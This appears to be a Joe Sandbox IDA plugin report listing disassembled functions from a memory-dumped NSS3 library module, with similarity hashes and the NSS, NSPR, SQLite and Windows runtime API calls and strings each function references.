Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: free$ErrorK11_Monitor$Alloc_DestroyFreeUtilmemset
String ID:
API String ID: 2030243345-0
Opcode ID: 282c2a0c32c623d52adc245896264622691557df724ececfecd3f2c80c7b8d1e
Instruction ID: 30fd139feb9a1f382ea87894bc273b6eec12e9c1ee5e67da1e36011b3a502a58
Opcode Fuzzy Hash: 282c2a0c32c623d52adc245896264622691557df724ececfecd3f2c80c7b8d1e
Instruction Fuzzy Hash: 4451D2B0A002069BEB00DF69CC4979BBBE4EF84308F144529E959D7B51FB35E856CBA1

Function 6CC70C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CC72C2A), ref: 6CC70C81

Part of subcall function 6CC5BE30: SECOID_FindOID_Util.NSS3(6CC1311B,00000000,?,6CC1311B,?), ref: 6CC5BE44

Part of subcall function 6CC48500: SECOID_GetAlgorithmTag_Util.NSS3(6CC495DC,00000000,00000000,00000000,?,6CC495DC,00000000,00000000,?,6CC27F4A,00000000,?,00000000,00000000), ref: 6CC48517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC70CC4

Part of subcall function 6CC5FAB0: free.MOZGLUE(?,-00000001,?,?,6CBFF673,00000000,00000000), ref: 6CC5FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CC70CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CC70D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CC70D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CC70D7D
free.MOZGLUE(00000000), ref: 6CC70DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC70DC1
free.MOZGLUE(00000000), ref: 6CC70DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC70E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CC70E0F

Part of subcall function 6CC495C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CC27F4A,00000000,?,00000000,00000000), ref: 6CC495E0
Part of subcall function 6CC495C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CC27F4A,00000000,?,00000000,00000000), ref: 6CC495F5
Part of subcall function 6CC495C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CC49609
Part of subcall function 6CC495C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CC4961D
Part of subcall function 6CC495C0: PK11_GetInternalSlot.NSS3 ref: 6CC4970B
Part of subcall function 6CC495C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CC49756
Part of subcall function 6CC495C0: PK11_GetIVLength.NSS3(?), ref: 6CC49767
Part of subcall function 6CC495C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CC4977E
Part of subcall function 6CC495C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC4978E

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: c99ec77dd3f9d2fe37dbaf71e1b55319778db431ad5eae95a41f4b2aa2ecf2e0
Instruction ID: 19b9ce0c3c60773ac0930b8ad3ac3d42745842e2e77710cdf46383c8d6f83542
Opcode Fuzzy Hash: c99ec77dd3f9d2fe37dbaf71e1b55319778db431ad5eae95a41f4b2aa2ecf2e0
Instruction Fuzzy Hash: AE41D0B5900205AFEB109F65DD81BAF7A78EF14308F104168E91967741F736EA54CBF2

Function 6CCA3EC0 Relevance: 16.6, APIs: 11, Instructions: 142threadCOMMON

Download Yara Rule

APIs

PK11_DigestOp.NSS3(C0314D75,8AE85608,83FFFF1E,00000000,6CC9FACF,?,FFFFFFFF,?,6CCA3E7E), ref: 6CCA3F47
PR_SetError.NSS3(FFFFD07F,00000000), ref: 6CCA3F5A
SECITEM_ZfreeItem_Util.NSS3(6CCA0463,00000000), ref: 6CCA3F79
PORT_FreeArena_Util.NSS3(31CB8948,00000000,6CC9FACF), ref: 6CCA3F97
SECKEY_DestroyPrivateKey.NSS3(86C70C5D), ref: 6CCA3FD7
PK11_DigestOp.NSS3(C0314D75,8AE85608,83FFFF1E), ref: 6CCA4009
PR_GetCurrentThread.NSS3 ref: 6CCA4034
PR_SetError.NSS3(?,00000000), ref: 6CCA403E
PR_GetCurrentThread.NSS3(6CC9FACF), ref: 6CCA4046
PR_SetError.NSS3(?,00000000,6CC9FACF), ref: 6CCA405E
PR_GetCurrentThread.NSS3(6CC9FACF), ref: 6CCA4080

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CurrentErrorThread$DigestK11_Util$Arena_DestroyFreeItem_PrivateZfree
String ID:
API String ID: 3868584822-0
Opcode ID: e9abd1481d7717ce37f5808b92ee0a69f5353ce01e552ba550f7a6c158e31693
Instruction ID: 5aca2ccbc308578f87075c63a2d01be5d9ff3a5681f681ec231d251484cf9b07
Opcode Fuzzy Hash: e9abd1481d7717ce37f5808b92ee0a69f5353ce01e552ba550f7a6c158e31693
Instruction Fuzzy Hash: 344128716017029FE3208BB6DD58BD772E9AF4030CF240429D99A87A91FBB1F54BC652

Function 6CC04FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6CD50148,?,6CC16FEC), ref: 6CC0502A
PR_NewLock.NSS3(00000001,00000000,6CD50148,?,6CC16FEC), ref: 6CC05034
PL_NewHashTable.NSS3(00000000,6CC5FE80,6CC5FD30,6CCAC350,00000000,00000000,00000001,00000000,6CD50148,?,6CC16FEC), ref: 6CC05055
PL_NewHashTable.NSS3(00000000,6CC5FE80,6CC5FD30,6CCAC350,00000000,00000000,?,00000001,00000000,6CD50148,?,6CC16FEC), ref: 6CC0506D

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 05d2e0f8624c2a45d5e845c84d5f8615b38d47493947dc77187660ee7c46d2ac
Instruction ID: 6fbf1028ad446ee48f7d6038d392ceb36ccdaa4bc24cdaa317b43c5d998d0ba5
Opcode Fuzzy Hash: 05d2e0f8624c2a45d5e845c84d5f8615b38d47493947dc77187660ee7c46d2ac
Instruction Fuzzy Hash: 3A31D2B1B092109BFB109F66884CB6B3BBCAB2775CF414126EB0587640FB7A8405CBF5

Function 6CBA2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBA2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CBA2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CBA3005
memcpy.VCRUNTIME140(?,?,?), ref: 6CBA30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBA3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CBA3178

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CBA3022, 6CBA3156, 6CBA3162, 6CBA318A, 6CBA3196, 6CBA31A2, 6CBA31AE, 6CBA31BA, 6CBA31C6
%s at line %d of [%.10s], xrefs: 6CBA3171
database corruption, xrefs: 6CBA316C

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 244f8714a9f568a32a7b6cc8f7f883b3f13940713acf5bf7b01744412f0290f6
Instruction ID: f8ceca9a30aec3375d4de6d8a315d345c0c9c7f1a51d0f836b76fbbe43a07530
Opcode Fuzzy Hash: 244f8714a9f568a32a7b6cc8f7f883b3f13940713acf5bf7b01744412f0290f6
Instruction Fuzzy Hash: 02B1AE70E092559BDB18CFDDC884AAEB7B1FF48304F148429E889B7B41D375D846CBA1

Function 6CC77F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CC77FB2

Part of subcall function 6CBFBA40: TlsGetValue.KERNEL32 ref: 6CBFBA51
Part of subcall function 6CBFBA40: TlsGetValue.KERNEL32 ref: 6CBFBA6B
Part of subcall function 6CBFBA40: EnterCriticalSection.KERNEL32 ref: 6CBFBA83
Part of subcall function 6CBFBA40: TlsGetValue.KERNEL32 ref: 6CBFBAA1
Part of subcall function 6CBFBA40: _PR_MD_UNLOCK.NSS3 ref: 6CBFBAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CC77FD4

Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90AB
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90C9
Part of subcall function 6CCC9090: EnterCriticalSection.KERNEL32 ref: 6CCC90E5
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC9116
Part of subcall function 6CCC9090: LeaveCriticalSection.KERNEL32 ref: 6CCC913F

Part of subcall function 6CC79430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6CC79466

PR_ExitMonitor.NSS3(?), ref: 6CC7801B
PR_EnterMonitor.NSS3(?), ref: 6CC78034
TlsGetValue.KERNEL32 ref: 6CC780A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC780C0
PR_ExitMonitor.NSS3(?), ref: 6CC7811C
PR_ExitMonitor.NSS3(?), ref: 6CC78134

Strings

), xrefs: 6CC780DB

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: 2b8810a9b553db95b5d237b633d1e62156b4bffed4863ca01bd96d1f2d6792bc
Instruction ID: 17d0d7d4cac71de3f2e0d13af71384af40ab43fe2395d54606edb74c632b6551
Opcode Fuzzy Hash: 2b8810a9b553db95b5d237b633d1e62156b4bffed4863ca01bd96d1f2d6792bc
Instruction Fuzzy Hash: 1E513571A007049BEB319F35DC05FEB77B4EF5231CF08052ADA59A2A41FB31A54AC7A2

Function 6CCA3C40 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 150stringthreadCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCA3C6F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCA3C7A
PR_snprintf.NSS3(?,00000064,%s %s,?,?), ref: 6CCA3CA0
PR_GetCurrentThread.NSS3 ref: 6CCA3CC1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCA3D4A
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CCA3DD9

Strings

%s %s, xrefs: 6CCA3C98

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: strlen$CurrentErrorR_snprintfThread
String ID: %s %s
API String ID: 3630970826-2939940506
Opcode ID: 8aff8261b7791ff732a0b53fbaa643656db849ff8c81b64a2e1169f9ad7b2816
Instruction ID: 09048fb3946b77c0d8778d9d15db0f62a6b81e9fd96c5797aba28a969f6543cd
Opcode Fuzzy Hash: 8aff8261b7791ff732a0b53fbaa643656db849ff8c81b64a2e1169f9ad7b2816
Instruction Fuzzy Hash: A8412975E11206DBFB108BE9CC98FAA7679EF45308F1802F5E90897B90F731D946CA61

Function 6CC1FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6CC1FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6CC1FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6CC1FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC1FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6CC1FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6CC1FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6CC1FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CC1FD84

Strings

:, xrefs: 6CC1FD78

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: bf9baeb23a4341de3aa9e585a2dcfdafd51cad71732b44ca79a53da5d926422d
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: 3931DEB2D082059FEB009FA6AC047AB77A8AF40218F140064DC08A7F10F771E908D7E2

Function 6CC36C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6CC36C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC36C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC36CA3

Part of subcall function 6CD1D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD1D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC36CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CC36CD5

Strings

hSession = 0x%x, xrefs: 6CC36C7E, 6CC36C8E
(CK_INVALID_HANDLE), xrefs: 6CC36C9C
pMechanism = 0x%p, xrefs: 6CC36CD0
C_DigestInit, xrefs: 6CC36C61

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: a25fb908f7141985efa8785c36e1309622cd79c98c6269ffb176b9d8e3476508
Instruction ID: 12aff1ca4ce52d666ceb371269f2adfa93aa82b515ebb7bea6bf2615edca5612
Opcode Fuzzy Hash: a25fb908f7141985efa8785c36e1309622cd79c98c6269ffb176b9d8e3476508
Instruction Fuzzy Hash: 0521D930A04524AFEB01DB56FD48B6A37B9FB8235DF444025E60D97B51EB38980CC7B1

Function 6CC39DD0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6CC39DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC39E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC39E33

Part of subcall function 6CD1D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD1D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC39E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6CC39E65

Strings

hSession = 0x%x, xrefs: 6CC39E0E, 6CC39E1E
(CK_INVALID_HANDLE), xrefs: 6CC39E2C
flags = 0x%x, xrefs: 6CC39E60
C_SessionCancel, xrefs: 6CC39DF1

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel
API String ID: 1003633598-1678415578
Opcode ID: 674e3bd0e484b7b65c0f50192b06182e70e6f076b031e38067ec89ed2c062289
Instruction ID: 040aced388b769116a539cd8b9edb0c664ebc9b6f6cf13c651b1e6695173c007
Opcode Fuzzy Hash: 674e3bd0e484b7b65c0f50192b06182e70e6f076b031e38067ec89ed2c062289
Instruction Fuzzy Hash: 7C21D871605124AFF700DB55EC88B7A37BDAB4274DF484025E60D97B61EF389848C7B2

Function 6CC06DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CC07D8F,6CC07D8F,?,?), ref: 6CC06DC8

Part of subcall function 6CC5FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CC5FE08
Part of subcall function 6CC5FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CC5FE1D
Part of subcall function 6CC5FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CC5FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CC07D8F,?,?), ref: 6CC06DD5

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CD28FA0,00000000,?,?,?,?,6CC07D8F,?,?), ref: 6CC06DF7

Part of subcall function 6CC5B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD318D0,?), ref: 6CC5B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CC06E35

Part of subcall function 6CC5FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CC5FE29
Part of subcall function 6CC5FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CC5FE3D
Part of subcall function 6CC5FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CC5FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CC06E4C

Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CD28FE0,00000000), ref: 6CC06E82

Part of subcall function 6CC06AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CC0B21D,00000000,00000000,6CC0B219,?,6CC06BFB,00000000,?,00000000,00000000,?,?,?,6CC0B21D), ref: 6CC06B01
Part of subcall function 6CC06AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CC06B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CC06F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CC06F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CD28FE0,00000000), ref: 6CC06F6B
PR_SetError.NSS3(FFFFE005,00000000,6CC07D8F,?,?), ref: 6CC06FE1

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 3bca610239db36bf81842a0c201acb041950e77c2e578991f08802ddc03060ff
Instruction ID: 41cf49cf3b90b96fe0649d5e742fe91167e7fc2bf87886bdfbbd9cd45841ad8b
Opcode Fuzzy Hash: 3bca610239db36bf81842a0c201acb041950e77c2e578991f08802ddc03060ff
Instruction Fuzzy Hash: 60716E71E106569FEB00CF55CD40BAABBA4BF94308F154229EC18DBA11F771EAE5CB90

Function 6CC40FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC41057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC41085
PK11_GetAllTokens.NSS3 ref: 6CC410B1
free.MOZGLUE(?), ref: 6CC41107
PR_SetError.NSS3(00000000,00000000), ref: 6CC41172
free.MOZGLUE(?), ref: 6CC41182
free.MOZGLUE(?), ref: 6CC411A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CC411C5

Part of subcall function 6CC452C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CC1EAC5,00000001), ref: 6CC452DF
Part of subcall function 6CC452C0: EnterCriticalSection.KERNEL32(?), ref: 6CC452F3
